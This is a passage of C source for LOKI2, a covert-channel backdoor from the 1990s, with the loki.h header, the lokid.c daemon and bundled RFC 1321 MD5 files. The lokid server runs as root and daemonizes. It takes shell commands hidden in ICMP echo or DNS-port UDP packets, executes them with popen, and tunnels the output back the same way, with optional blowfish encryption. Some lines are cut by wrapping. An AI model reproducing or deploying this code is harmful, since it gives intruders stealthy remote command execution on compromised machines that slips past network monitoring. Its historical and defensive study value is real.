#define C_P_TYPE    ICMP_ECHOREPLY
#else
#define D_P_TYPE    ICMP_ECHOREPLY
#define C_P_TYPE    ICMP_ECHO
#endif

#ifdef STRONG_CRYPTO
#include "/usr/local/ssl/include/blowfish.h"
#include "/usr/local/ssl/include/bn.h"
#include "/usr/local/ssl/include/dh.h"
#include "/usr/local/ssl/include/buffer.h"

#define BF_KEYSIZE      16  /* blowfish key in bytes                    */
#define IVEC_SIZE       7   /* I grabbed this outta thin air.           */
#define BN2BIN_SIZE     48  /* bn2bin byte-size of 384-bit prime        */
#endif
```

```
#ifdef  STRONG_CRYPTO
#define CRYPTO_TYPE "blowfish"
#endif
#ifdef  WEAK_CRYPTO
#define CRYPTO_TYPE "XOR"
#endif
#ifdef  NO_CRYPTO
#define CRYPTO_TYPE "none"
#endif


/* Start user configurable options */

#define MIN_TIMEOUT 3       /* minimum client-side alarm timeout        */
#define MAX_RETRAN  3       /* maximum client-side timeout/retry amount */
#define MAX_CLIENT  0xa     /* maximum server-side client count         */
#define KEY_TIMER   0xe10   /* maximum server-side idle client TTL      */

/* End user configurable options */



#define VERSION     "2.0"
#define BUFSIZE     0x38    /* We build packets with a fixed payload.
                             * Fine for ICMP_ECHO/ECHOREPLY packets as they
                             * often default to a 56 byte payload.  However
                             * DNS query/reply packets have no set size and
                             * are generally oddly sized with no padding.
                             */

#define ICMPH_SIZE  8
#define UDPH_SIZE   8
#define NL_PORT     htons(0x35)

#define PROMPT      "loki> "
#define ENCR        1       /* symbolic for encrypt               */
#define DECR        0       /* symbolic for decrypt               */
#define NOCR        1       /* don't encrypt this packet          */
#define OKCR        0       /* encrypt this packet                */
#define OK          1       /* Positive acknowledgement           */
#define NOK         0       /* Negative acknowledgement           */
#define NNOK        -1      /* Really negative acknowledgement    */
#define FIND        1       /* Controls locate_client             */
#define DESTROY     2       /*  disposition                       */

/*  LOKI packet type symbolics */

#define L_TAG       0xf001  /* Tags packets as LOKI               */
#define L_PK_REQ    0xa1    /* Public Key request packet          */
#define L_PK_REPLY  0xa2    /* Public Key reply packet            */
#define L_EOK       0xa3    /* Encrypted ok                       */
#define L_REQ       0xb1    /* Standard reuqest packet            */
#define L_REPLY     0xb2    /* Standard reply packet              */
#define L_ERR       0xc1    /* Error of some kind                 */
#define L_ACK       0xd1    /* Acknowledgement                    */
#define L_QUIT      0xd2    /* Receiver should exit               */
#define L_EOT       0xf1    /* End Of Transmission packet         */

/*  Packet type printing macro */

#ifdef DEBUG
#define PACKET_TYPE(ldg)\
\
if      (ldg.payload[0]   == 0xa1) fprintf(stderr, "Public Key Request");  \
else if (ldg.payload[0]   == 0xa2) fprintf(stderr, "Public Key Reply");    \
else if (ldg.payload[0]   == 0xa3) fprintf(stderr, "Encrypted OK");        \
else if (ldg.payload[0]   == 0xb1) fprintf(stderr, "Client Request");      \
else if (ldg.payload[0]   == 0xb2) fprintf(stderr, "Server Reply");        \
else if (ldg.payload[0]   == 0xc1) fprintf(stderr, "Error");               \
else if (ldg.payload[0]   == 0xd1) fprintf(stderr, "ACK");                 \
else if (ldg.payload[0]   == 0xd2) fprintf(stderr, "QUIT");                \
else if (ldg.payload[0]   == 0xf1) fprintf(stderr, "Server EOT");          \
else                               fprintf(stderr, "Unknown");             \
if      (prot == IPPROTO_ICMP)     fprintf(stderr, ", ICMP type: %d\n", ldg.ttype.icmph.i
cmp_type);\
else                               fprintf(stderr, "\n");\

#define DUMP_PACKET(ldg, i)\
\
for (i = 0; i < BUFSIZE; i++)      fprintf(stderr, "0x%x ",ldg.payload[i]); \
fprintf(stderr, "\n");\

#endif



/*
 *  Escaped commands (not interpreted by the shell)
 */

#define HELP        "/help"         /* Help me                      */
#define TIMER       "/timer"        /* Change the client side timer */
#define QUIT_C      "/quit"         /* Quit the client              */
#define QUIT_ALL    "/quit all"     /* Kill all clients and server  */
#define STAT_C      "/stat"         /* Stat the client              */
#define STAT_ALL    "/stat all"     /* Stat all the clients         */
#define SWAP_T      "/swapt"        /* Swap protocols               */
#define REDIR_C     "/redirect"     /* Redirect to another client   */
#define PROXY_D     "/proxy"        /* Proxy to another server      */

/*
 *  Control flag symbolics
 */

#define TERMINATE   0x01
#define TRAP        0x02
#define VALIDC      0x04
#define VALIDP      0x08
#define NEWTRANS    0x10
#define REDIRECT    0x20
#define PROXY       0x40
#define SENDKILL    0x80


/*
 *  Message Strings
 *  L_ == common to both server and client
 *  S_ == specific to server
 *  C_ == specific to client
 */

#define L_MSG_BANNER    "\nLOKI2\troute [(c) 1997 guild corporation worldwide]\n"
#define L_MSG_NOPRIV    "\n[fatal] invalid user identification value"
#define L_MSG_SOCKET    "[fatal] socket allocation error"
#define L_MSG_ICMPONLY  "\nICMP protocol only with strong cryptography\n"
#define L_MSG_ATEXIT    "[fatal] cannot register with atexit(2)"
#define L_MSG_DHKEYGEN  "generating Diffie-Hellman parameters and keypair"
#define L_MSG_DHKGFAIL  "\n[fatal] Diffie-Hellman key generation failure\n"
#define L_MSG_SIGALRM   "[fatal] cannot catch SIGALRM"
#define L_MSG_SIGUSR1   "[fatal] cannot catch SIGUSR1"
#define L_MSG_SIGCHLD   "[fatal] cannot catch SIGCHLD"
#define L_MSG_WIERDERR  "\n[SUPER fatal] control should NEVER fall here\n"
#define S_MSG_PACKED    "\nlokid: server is currently at capacity.  Try again later\n"
#define S_MSG_UNKNOWN   "\nlokid: cannot locate client entry in database\n"
#define S_MSG_UNSUP     "\nlokid: unsupported or unknown command string\n"
#define S_MSG_ICMPONLY  "\nlokid: ICMP protocol only with strong cryptography\n"
#define S_MSG_CLIENTK   "\nlokid: clean exit (killed at client request)\n"
#define S_MSG_DUP       "\nlokid: duplicate client entry found, updating\n"
#define S_MSG_USAGE     "\nlokid -p (i|u) [ -v (0|1) ]\n"
#define C_MSG_USAGE     "\nloki -d dest -p (i|u) [ -v (0|1) ] [ -t (n>3) ]\n"
#define C_MSG_TIMEOUT   "\nloki: no response from server (expired timer)\n"
```

```
#define C_MSG_NOSWAP    "\nloki: cannot swap protocols with strong crypto\n"
#define C_MSG_PKREQ     "loki: requesting public from server\n"
#define C_MSG_PKREC     "loki: received public key, computing shared secret\n"
#define C_MSG_SKSET     "loki: extracting and setting expanded blowfish key\n"
#define C_MSG_MUSTQUIT  "\nloki: received termination directive from server\n"

/*
 *  Macros to evaluate packets to determine if they are LOKI or not.
 *  These are UGLY.
 */


/*
 *  ICMP_ECHO client packet check
 */

#define IS_GOOD_ITYPE_C(ldg)\
\
(i_check((u_short *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) ==          0 &&\
                                ldg.ttype.icmph.icmp_type   ==   D_P_TYPE &&\
                                  ldg.ttype.icmph.icmp_id   ==    loki_id &&\
                                 ldg.ttype.icmph.icmp_seq   ==      L_TAG &&\
                                          (ldg.payload[0]   ==    L_REPLY ||\
                                           ldg.payload[0]   == L_PK_REPLY ||\
                                           ldg.payload[0]   ==      L_EOT ||\
                                           ldg.payload[0]   ==     L_QUIT ||\
                                           ldg.payload[0]   ==    L_ERR)) ==\
                                                             (1) ? (1) : (0)\
/*
 *  ICMP_ECHO daemon packet check
 */

#define IS_GOOD_ITYPE_D(ldg)\
\
(i_check((u_short *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) ==          0 &&\
                                ldg.ttype.icmph.icmp_type   ==   C_P_TYPE &&\
                                 ldg.ttype.icmph.icmp_seq   ==      L_TAG &&\
                                          (ldg.payload[0]   ==      L_REQ ||\
                                           ldg.payload[0]   ==     L_QUIT ||\
                                           ldg.payload[0]   == L_PK_REQ)) ==\
                                                             (1) ? (1) : (0)\
/*
 *  UDP client packet check
 */

#define IS_GOOD_UTYPE_C(ldg)\
\
(i_check((u_short *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) ==              0 &&\
                                ldg.ttype.udph.uh_sport   ==        NL_PORT &&\
                                ldg.ttype.udph.uh_dport   == loki_id &&\
                                        (ldg.payload[0]   ==        L_REPLY ||\
                                         ldg.payload[0]   ==          L_EOT ||\
                                         ldg.payload[0]   ==         L_QUIT ||\
                                         ldg.payload[0]   ==        L_ERR)) ==\
                                                               (1) ? (1) : (0)\
/*
 *  UDP daemon packet check.  Yikes.  We need more info here.
 */

#define IS_GOOD_UTYPE_D(ldg)\
\
(i_check((u_short *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) ==              0 &&\
                                ldg.ttype.udph.uh_dport   ==        NL_PORT &&\
                                         (ldg.payload[0]  ==         L_QUIT ||\
                                          ldg.payload[0]  ==        L_REQ)) ==\
                                                               (1) ? (1) : (0)\
/*
 *  ICMP_ECHO / ICMP_ECHOREPLY header prototype
 */
```

```
struct icmp_echo
{
    u_char  icmp_type;          /* 1 byte type              */
    u_char  icmp_code;          /* 1 byte code              */
    u_short icmp_cksum;         /* 2 byte checksum          */
    u_short icmp_id;            /* 2 byte identification    */
    u_short icmp_seq;           /* 2 byte sequence number   */
};


/*
 *  UDP header prototype
 */

struct udp
{
    u_short uh_sport;           /* 2 byte source port       */
    u_short uh_dport;           /* 2 byte destination port  */
    u_short uh_ulen;            /* 2 byte length            */
    u_short uh_sum;             /* 2 byte checksum          */
};


/*
 *  LOKI packet prototype
 */

struct loki
{
    struct ip iph;              /* IP header    */
    union
    {
        struct icmp_echo icmph; /* ICMP header  */
        struct udp udph;        /* UDP header   */
    }ttype;
    u_char payload[BUFSIZE];    /* data payload */
};

#define LOKIP_SIZE      sizeof(struct loki)
#define LP_DST          rdg.iph.ip_src

void blur(int, int, u_char *);          /* Symmetric encryption function    */
char *host_lookup(u_long);              /* network byte -> human readable   */
u_long name_resolve(char *);            /* human readable -> network byte   */
u_short i_check(u_short *, int);        /* Ah yes, the IP family checksum   */
int c_parse(u_char *, int *);           /* parse escaped commands [client]  */
void d_parse(u_char *, pid_t, int);     /* parse escaped commands [server]  */
                                        /* build and transmit LOKI packets  */
void loki_xmit(u_char *, u_short, int, struct sockaddr_in, int);
int lokid_xmit(u_char *, u_long, int, int);
void err_exit(int, int, int, char *);   /* handle exit with reason          */
void clean_exit(int);                   /* exit cleanly                     */
void help();                            /* lala                             */
void shadow();                          /* daemonizing routine              */
void swap_t(int);                       /* swap protocols [server-side]     */
void reaper(int);                       /* prevent zombies                  */
void catch_timeout(int);                /* ALARM signal catcher             */
void client_expiry_check();             /* expire client from shm           */
void prep_shm();                        /* Prepare shm ans semaphore        */
void dump_shm();                        /* detach shm                       */
void packets_read();                    /* packets read (client)            */
void fd_status(int, int);               /* dumps fd stats                   */
#ifdef PTY
int ptym_open(char *);
int ptys_open(int, char *);
pid_t pty_fork(int *, char *, struct termios *, struct winsize *);
#endif
#ifdef STRONG_CRYPTO
DH* generate_dh_keypair();              /* generate DH params and keypair   */
u_char *extract_bf_key(u_char *, int);  /* extract and md5 and set bf key   */
```

```
#endif

#endif  /* __LOKI_H__ */
<--> loki.h
<++> L2/lokid.c
/*
 * LOKI2
 *
 * [ lokid.c ]
 *
 *  1996/7 Guild Corporation Worldwide      [daemon9]
 */


#include "loki.h"
#include "client_db.h"
#include "shm.h"

jmp_buf env;                            /* holds our stack frame    */
struct loki sdg, rdg;                   /* LOKI packets             */
time_t uptime   = 0;                    /* server uptime            */
u_long b_sent   = 0, p_sent = 0;        /* bytes / packets written  */
u_short c_id    = 0;                    /* client id                */
int destroy_shm = NOK;                  /* Used to mark whether or not
                                         * a process should destroy the
                                         * shm segment upon exiting.
                                         */
int verbose     = OK, prot = IPPROTO_ICMP, ripsock = 0, tsock = 0;

#ifdef  STRONG_CRYPTO
extern u_char user_key[BF_KEYSIZE];
extern BF_KEY bf_key;
extern u_short ivec_salt;
DH *dh_keypair = NULL;                  /* DH public and private key */
#endif

#ifdef PTY
int mfd = 0;                            /* master PTY file descriptor */
#endif

int main(int argc, char *argv[])
{

    static int one       = 1, c = 0, cflags = 0;
    u_char buf1[BUFSIZE] = {0};
    pid_t pid            = 0;
#ifdef  STRONG_CRYPTO
    static int c_ind     = -1;
#endif
#ifdef  POPEN
    FILE *job            = NULL;
    char buf2[BUFSIZE]   = {0};
#endif
                                        /* ensure we have proper permissions */
    if (geteuid() || getuid()) err_exit(0, 1, 1, L_MSG_NOPRIV);
    while ((c = getopt(argc, argv, "v:p:")) != EOF)
    {
        switch (c)
        {
            case 'v':                   /* change verbosity */
                verbose = atoi(optarg);
                break;

            case 'p':                   /* choose transport protocol */
                switch (optarg[0])
                {
                    case 'i':           /* ICMP_ECHO / ICMP_ECHOREPLY */
                        prot = IPPROTO_ICMP;
                        break;
                    case ’u’:           /* DNS query / reply */
                        prot = IPPROTO_UDP;
                        break;

                    default:
                        err_exit(1, 0, 1, "Unknown transport\n");
                }
                break;

            default:
                err_exit(0, 0, 1, S_MSG_USAGE);
        }
    }
    if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0)
        err_exit(1, 1, 1, L_MSG_SOCKET);
#ifdef  STRONG_CRYPTO                   /* ICMP only with strong crypto */
    if (prot != IPPROTO_ICMP) err_exit(0, 0, 1, L_MSG_ICMPONLY);
#else
                                        /* Child will signal parent if a
                                         * transport protcol switch is
                                         * required
                                         */
    if (signal(SIGUSR1, swap_t) == SIG_ERR)
        err_exit(1, 1, verbose, L_MSG_SIGUSR1);
#endif

    if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
         err_exit(1, 1, 1, L_MSG_SOCKET);
#ifdef  DEBUG
    fprintf(stderr, "\nRaw IP socket: ");
    fd_status(ripsock, OK);
#endif

#ifdef  IP_HDRINCL
    if (setsockopt(ripsock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0)
        if (verbose) perror("Cannot set IP_HDRINCL socket option");
#endif
                                        /* power up shared memory segment and
                                         * semaphore, register dump_shm to be
                                         * called upon exit
                                         */
    prep_shm();
    if (atexit(dump_shm) == -1) err_exit(1, 1, verbose, L_MSG_ATEXIT);

    fprintf(stderr, L_MSG_BANNER);
    time(&uptime);                      /* server uptime timer */

#ifdef  STRONG_CRYPTO
                                        /* Generate DH parameters */
    if (verbose) fprintf(stderr, "\nlokid: %s", L_MSG_DHKEYGEN);
    if (!(dh_keypair = generate_dh_keypair()))
        err_exit(1, 0, verbose, L_MSG_DHKGFAIL);
    if (verbose) fprintf(stderr, "\nlokid: done.\n");
#endif
#ifndef DEBUG
    shadow();                       /* go daemon */
#endif
    destroy_shm = OK;               /* if this process exits at any point
                                     * from hereafter, mark shm as destroyed
                                     */
                                    /* Every KEY_TIMER seconds, we should
                                     * check the client_key list and see
                                     * if any entries have been idle long
                                     * enough to expire them.
                                     */
    if (signal(SIGALRM, client_expiry_check) == SIG_ERR)
        err_exit(1, 1, verbose, L_MSG_SIGALRM);
    alarm(KEY_TIMER);

    if (signal(SIGCHLD, reaper) == SIG_ERR)
```

```
        err_exit(1, 1, verbose, L_MSG_SIGCHLD);

    for (; ;)
    {
        cflags &= ~VALIDP;                /* Blocking read */
        c = read(tsock, (struct loki *)&rdg, LOKIP_SIZE);

        switch (prot)
        {                                 /* Is this a valid Loki packet? */
            case IPPROTO_ICMP:
                if ((IS_GOOD_ITYPE_D(rdg)))
                {
                    cflags |= VALIDP;
                    c_id   = rdg.ttype.icmph.icmp_id;
                }
                break;

            case IPPROTO_UDP:
                if ((IS_GOOD_UTYPE_D(rdg)))
                {
                    cflags |= VALIDP;
                    c_id   = rdg.ttype.udph.uh_sport;
                }
                break;

            default:
                err_exit(1, 0, verbose, L_MSG_WIERDERR);
        }
        if (cflags & VALIDP)
        {
#ifdef  DEBUG
        fprintf(stderr, "\n[DEBUG]\t\tlokid: packet read %d bytes, type: ", c);
        PACKET_TYPE(rdg);
        DUMP_PACKET(rdg, c);
#endif
            switch (pid = fork())
            {
                case 0:
                    destroy_shm = NOK;  /* child should NOT mark segment as
                                         * destroyed when exiting...
                                         */
                                        /* TLI seems to have  problems in
                                         * passing socket file desciptors around
                                         */
#ifdef  SOLARIS
                    close(ripsock);
                    if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
                    err_exit(1, 1, 1, L_MSG_SOCKET);
#ifdef  DEBUG
                    fprintf(stderr, "\nRaw IP socket: ");
                    fd_status(ripsock, OK);
#endif  /* DEBUG */
#endif  /* SOLARIS */
                    break;

                default:                /* parent will loop forever spawning
                                         * children if we do not zero rdg
                                         */
                    bzero((struct loki *)&rdg, LOKIP_SIZE);
                    cflags &= ~VALIDP;
                    continue;

                case -1:            /* fork error */
                    err_exit(1, 1, verbose, "[fatal] forking error");
            }
#ifdef  STRONG_CRYPTO
                                        /* preliminary evaluation of the pkt
                                         * to see if we have a request for the
                                         * servers public key
                                         */
            if (rdg.payload[0] == L_PK_REQ)
            {
                if (verbose)
                {
                    fprintf(stderr, "\nlokid: public key submission and request : %s <%d>
 ", host_lookup(rdg.iph.ip_dst), c_id);
                    fprintf(stderr, "\nlokid: computing shared secret");
                }
                DH_compute_key(buf1, (void *)BN_bin2bn(&rdg.payload[1], BN2BIN_SIZE, NULL
), dh_keypair);
                if (verbose) fprintf(stderr, "\nlokid: extracting 128-bit blowfish key");
                                        /* Try to add client to client list */
                if (((c = add_client(extract_bf_key(buf1, NOK))) == -1))
                {
#else
                if (((c = add_client((u_char *)NULL)) == -1))
                {
#endif                                  /* MAX_CLIENT limit reached */
                    lokid_xmit(S_MSG_PACKED, LP_DST, L_ERR, NOCR);
                    lokid_xmit(buf1, LP_DST, L_EOT, NOCR);
                    err_exit(1, 0, verbose, "\nlokid: Cannot add key\n");
                }

#ifdef  STRONG_CRYPTO
                if (verbose)
                {
                    fprintf(stderr, "\nlokid: client <%d> added to list [%d]", c_id, c);
                    fprintf(stderr, "\nlokid: submiting my public key to client");
                }                       /* send our public key to the client */
                bzero((u_char *)buf1, BUFSIZE);
                BN_bn2bin((BIGNUM *)dh_keypair -> pub_key, buf1);

                lokid_xmit(buf1, LP_DST, L_PK_REPLY, NOCR);
                lokid_xmit(buf1, LP_DST, L_EOT, NOCR);
                clean_exit(0);
            }
            bzero((u_char *)buf1, BUFSIZE);
                                        /* Control falls here when we have
                                         * a regular request packet.
                                         */
            if ((c_ind = locate_client(FIND)) == -1)
            {                           /* Cannot locate the client's entry */
                lokid_xmit(S_MSG_UNKNOWN, LP_DST, L_ERR, NOCR);
                lokid_xmit(buf1, LP_DST, L_EOT, NOCR);
                err_exit(1, 0, verbose, S_MSG_UNKNOWN);
            }                           /* set expanded blowfish key */
            else BF_set_key(&bf_key, BF_KEYSIZE, user_key);
#endif
                                        /* unload payload */
            bcopy(&rdg.payload[1], buf1, BUFSIZE - 1);
#ifdef  STRONG_CRYPTO
                                        /* The IV salt is incremented in the
                                         * client prior to encryption, ergo
                                         * the server should increment before
                                         * decrypting
                                         */
            ivec_salt = update_client_salt(c_ind);
#endif
            blur(DECR, BUFSIZE - 1, buf1);
                                        /* parse escaped command */
            if (buf1[0] == '/') d_parse(buf1, pid, ripsock);
#ifdef  POPEN                           /* popen the shell command and execute
                                         * it inside of /bin/sh
                                         */
            if (!(job = popen(buf1, "r")))
                err_exit(1, 1, verbose, "\nlokid: popen");

            while (fgets(buf2, BUFSIZE - 1, job))
            {
                bcopy(buf2, buf1, BUFSIZE);
                lokid_xmit(buf1, LP_DST, L_REPLY, OKCR);
            }
            lokid_xmit(buf1, LP_DST, L_EOT, OKCR);
#ifdef  STRONG_CRYPTO
            update_client(c_ind, p_sent, b_sent);
#else
            update_client(locate_client(FIND), p_sent, b_sent);
#endif
            clean_exit(0);              /* exit the child after sending
                                         * the last packet
                                         */
#endif
#ifdef  PTY                             /* Not implemented yet */
            fprintf(stderr, "\nmfd: %d", mfd);
#endif
        }
    }
}


/*
 *  Build and transmit Loki packets (server-side version)
 */

int lokid_xmit(u_char *payload, u_long dst, int ptype, int crypt_flag)
{
    struct sockaddr_in sin;
    int i               = 0;

    bzero((struct loki *)&sdg, LOKIP_SIZE);

    sin.sin_family      = AF_INET;
    sin.sin_addr.s_addr = dst;
    sdg.payload[0]      = ptype;        /* set packet type */
                                        /* Do not encrypt error or public
                                         * key reply packets
                                         */
    if (crypt_flag == OKCR) blur(ENCR, BUFSIZE - 1, payload);
    bcopy(payload, &sdg.payload[1], BUFSIZE - 1);

    if (prot == IPPROTO_ICMP)
    {
#ifdef  NET3                                            /* Our workaround. */
        sdg.ttype.icmph.icmp_type   = ICMP_ECHO;
#else
        sdg.ttype.icmph.icmp_type   = ICMP_ECHOREPLY;
#endif
        sdg.ttype.icmph.icmp_code   = (int)NULL;
        sdg.ttype.icmph.icmp_id     = c_id;             /* client ID */
        sdg.ttype.icmph.icmp_seq    = L_TAG;            /* Loki ID */
        sdg.ttype.icmph.icmp_cksum  =
             i_check((u_short *)&sdg.ttype.icmph, BUFSIZE + ICMPH_SIZE);
    }
    if (prot == IPPROTO_UDP)
    {
        sdg.ttype.udph.uh_sport     = NL_PORT;
        sdg.ttype.udph.uh_dport     = rdg.ttype.udph.uh_sport;
        sdg.ttype.udph.uh_ulen      = htons(UDPH_SIZE + BUFSIZE);
        sdg.ttype.udph.uh_sum       =
             i_check((u_short *)&sdg.ttype.udph, BUFSIZE + UDPH_SIZE);
    }
    sdg.iph.ip_v    = 0x4;
    sdg.iph.ip_hl   = 0x5;
    sdg.iph.ip_len  = FIX_LEN(LOKIP_SIZE);
    sdg.iph.ip_ttl  = 0x40;
    sdg.iph.ip_p    = prot;
    sdg.iph.ip_dst  = sin.sin_addr.s_addr;

#ifdef  SEND_PAUSE
    usleep(SEND_PAUSE);
```

```
#endif
    if ((i = sendto(ripsock, (struct loki *)&sdg, LOKIP_SIZE, (int)NULL, (struct sockaddr
 *)&sin, sizeof(sin))) < LOKIP_SIZE)
    {
        if (verbose) perror("[non fatal] truncated write");
    }
    else
    {                               /* Update global stats */
        b_sent += i;
        p_sent ++;
    }
    return ((i < 0 ? 0 : i));     /* Make snocrash happy (return bytes written,
                                   * or return 0 if there was an error)
                                   */
}


/*
 *  Parse escaped commands (server-side version)
 */

void d_parse(u_char *buf, pid_t pid, int ripsock)
{
    u_char buf2[4 * BUFSIZE]    = {0};
    int n                       = 0, m = 0;
    u_long client_ip            = 0;
                                        /* client request for an all kill */
    if (!strncmp(buf, QUIT_ALL, sizeof(QUIT_ALL) - 1))
    {
        if (verbose) fprintf(stderr, "\nlokid: client <%d> requested an all kill\n", c_id
);
        while (n < MAX_CLIENT)          /* send notification to all clients */
        {
            if ((client_ip = check_client_ip(n++, &c_id)))
            {
                if (verbose) fprintf(stderr, "\tsending L_QUIT: <%d> %s\n", c_id, host_lo
okup(client_ip));
                lokid_xmit(buf, client_ip, L_QUIT, NOCR);
            }
        }
        if (verbose) fprintf(stderr, S_MSG_CLIENTK);
                                        /* send a SIGKILL to all the processes
                                         * in the servers group...
                                         */
        if ((kill(-pid, SIGKILL)) == -1)
            err_exit(1, 1, verbose, "[fatal] could not signal process group");
        clean_exit(0);
    }
                                        /* client is exited, remove entry
                                         * from the client list
                                         */
    if (!strncmp(buf, QUIT_C, sizeof(QUIT_C) - 1))
    {
        if ((m = locate_client(DESTROY)) == -1)
            err_exit(1, 0, verbose, S_MSG_UNKNOWN);
        else if (verbose) fprintf(stderr, "\nlokid: client <%d> freed from list [%d]", c_
id, m);
        clean_exit(0);
    }
                                        /* stat request */
    if (!strncmp(buf, STAT_C, sizeof(STAT_C) - 1))
    {
        bzero((u_char *)buf2, 4 * BUFSIZE);
                                        /* Ok.  This is an ugly hack to keep
                                         * packet counts in sync with the
                                         * stat request.  We know the amount
                                         * of packets we are going to send (and
                                         * therefore the byte count) in advance
                                         * so we can preload the values.
                                         */
        update_client(locate_client(FIND), 5, 5 * LOKIP_SIZE);
        n = stat_client(locate_client(FIND), buf2, prot, uptime);
                                        /* breakdown payload into BUFSIZE-1
                                         * chunks, suitable for transmission
                                         */
        for (; m < n; m += (BUFSIZE - 1))
        {
            bcopy(&buf2[m], buf, BUFSIZE - 1);
            lokid_xmit(buf, LP_DST, L_REPLY, OKCR);
        }
        lokid_xmit(buf, LP_DST, L_EOT, OKCR);
        clean_exit(0);                  /* exit the child after sending
                                         * the last packet
                                         */
    }
#ifndef     STRONG_CRYPTO               /* signal parent to change protocols */
    if (!strncmp(buf, SWAP_T, sizeof(SWAP_T) - 1))
    {
        if (kill(getppid(), SIGUSR1))
            err_exit(1, 1, verbose, "[fatal] could not signal parent");
        clean_exit(0);
    }
#endif
                                        /* unsupport/unrecognized command */
    lokid_xmit(S_MSG_UNSUP, LP_DST, L_REPLY, OKCR);
    lokid_xmit(buf2, LP_DST, L_EOT, OKCR);

    update_client(locate_client(FIND), p_sent, b_sent);
    clean_exit(0);
}


/*
 *  Swap transport protocols.  This is called as a result of SIGUSR1 from
 *  a child server process.
 */


void swap_t(int signo)
{

    int n                   = 0;
    u_long client_ip        = 0;
    struct protoent *pprot  = 0;
    char buf[BUFSIZE]       = {0};

    if (verbose) fprintf(stderr, "\nlokid: client <%d> requested a protocol swap\n", c_id
);

    while (n < MAX_CLIENT)
    {
        if ((client_ip = check_client_ip(n++, &c_id)))
        {
            fprintf(stderr, "\tsending protocol update: <%d> %s [%d]\n", c_id, host_looku
p(client_ip), n);
            lokid_xmit(buf, client_ip, L_REPLY, OKCR);
            lokid_xmit(buf, client_ip, L_EOT, OKCR);
/*            update_client(locate_client(FIND), p_sent, b_sent);*/
        }
    }

    close(tsock);

    prot = (prot == IPPROTO_UDP) ? IPPROTO_ICMP : IPPROTO_UDP;
    if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0)
        err_exit(1, 1, verbose, L_MSG_SOCKET);
    pprot = getprotobynumber(prot);
    sprintf(buf, "lokid: transport protocol changed to %s\n", pprot -> p_name);
    fprintf(stderr, "\n%s", buf);
    lokid_xmit(buf, LP_DST, L_REPLY, OKCR);
    lokid_xmit(buf, LP_DST, L_EOT, OKCR);
    update_client(locate_client(FIND), p_sent, b_sent);
                                            /* re-establish signal handler */
    if (signal(SIGUSR1, swap_t) == SIG_ERR)
        err_exit(1, 1, verbose, L_MSG_SIGUSR1);
}

/* EOF */
<--> lokid.c
<++> L2/md5/Makefile
# Makefile for MD5 from rfc1321 code

CCF = -O -DMD=5

md5c.o: md5.h global.h
        gcc $(CCF) -c md5c.c

clean:
        rm -f *.o core
<--> md5/Makefile
<++> L2/md5/global.h
/* GLOBAL.H - RSAREF types and constants
 */

/* PROTOTYPES should be set to one if and only if the compiler supports
  function argument prototyping.
The following makes PROTOTYPES default to 0 if it has not already



Rivest                                                          [Page 7]

RFC 1321              MD5 Message-Digest Algorithm            April 1992


  been defined with C compiler flags.
 */
#ifndef PROTOTYPES
#define PROTOTYPES 0
#endif

/* POINTER defines a generic pointer type */
typedef unsigned char *POINTER;

/* UINT2 defines a two byte word */
typedef unsigned short int UINT2;

/* UINT4 defines a four byte word */
typedef unsigned long int UINT4;

/* PROTO_LIST is defined depending on how PROTOTYPES is defined above.
If using PROTOTYPES, then PROTO_LIST returns the list, otherwise it
  returns an empty list.
 */
#if PROTOTYPES
#define PROTO_LIST(list) list
#else
#define PROTO_LIST(list) ()
#endif
<--> md5/global.h
<++> L2/md5/md5.h
/* MD5.H - header file for MD5C.C
 */

/* Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
rights reserved.

License to copy and use this software is granted provided that it
is identified as the "RSA Data Security, Inc. MD5 Message-Digest
```

```
Algorithm" in all material mentioning or referencing this software
or this function.

License is also granted to make and use derivative works provided
that such works are identified as "derived from the RSA Data
Security, Inc. MD5 Message-Digest Algorithm" in all material
mentioning or referencing the derived work.

RSA Data Security, Inc. makes no representations concerning either
the merchantability of this software or the suitability of this
software for any particular purpose. It is provided "as is"
without express or implied warranty of any kind.




Rivest                                                          [Page 8]

RFC 1321              MD5 Message-Digest Algorithm            April 1992


These notices must be retained in any copies of any part of this
documentation and/or software.
 */

#define MD5_HASHSIZE    16

/* MD5 context. */
typedef struct {
  UINT4 state[4];                                   /* state (ABCD) */
  UINT4 count[2];        /* number of bits, modulo 2^64 (lsb first) */
  unsigned char buffer[64];                         /* input buffer */
} MD5_CTX;

void MD5Init PROTO_LIST ((MD5_CTX *));
void MD5Update PROTO_LIST
  ((MD5_CTX *, unsigned char *, unsigned int));
void MD5Final PROTO_LIST ((unsigned char [16], MD5_CTX *));
<--> md5/md5.h
<++> L2/md5/md5c.c
/* MD5C.C - RSA Data Security, Inc., MD5 message-digest algorithm
 */

/* Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
rights reserved.

License to copy and use this software is granted provided that it
is identified as the "RSA Data Security, Inc. MD5 Message-Digest
Algorithm" in all material mentioning or referencing this software
or this function.

License is also granted to make and use derivative works provided
that such works are identified as "derived from the RSA Data
Security, Inc. MD5 Message-Digest Algorithm" in all material
mentioning or referencing the derived work.

RSA Data Security, Inc. makes no representations concerning either
the merchantability of this software or the suitability of this
software for any particular purpose. It is provided "as is"
without express or implied warranty of any kind.

These notices must be retained in any copies of any part of this
documentation and/or software.
 */

#include "global.h"
#include "md5.h"

/* Constants for MD5Transform routine.
 */
```

```
/*
Rivest                                                          [Page 9]

RFC 1321              MD5 Message-Digest Algorithm            April 1992
*/

#define S11 7
#define S12 12
#define S13 17
#define S14 22
#define S21 5
#define S22 9
#define S23 14
#define S24 20
#define S31 4
#define S32 11
#define S33 16
#define S34 23
#define S41 6
#define S42 10
#define S43 15
#define S44 21

static void MD5Transform PROTO_LIST ((UINT4 [4], unsigned char [64]));
static void Encode PROTO_LIST
  ((unsigned char *, UINT4 *, unsigned int));
static void Decode PROTO_LIST
  ((UINT4 *, unsigned char *, unsigned int));
static void MD5_memcpy PROTO_LIST ((POINTER, POINTER, unsigned int));
static void MD5_memset PROTO_LIST ((POINTER, int, unsigned int));

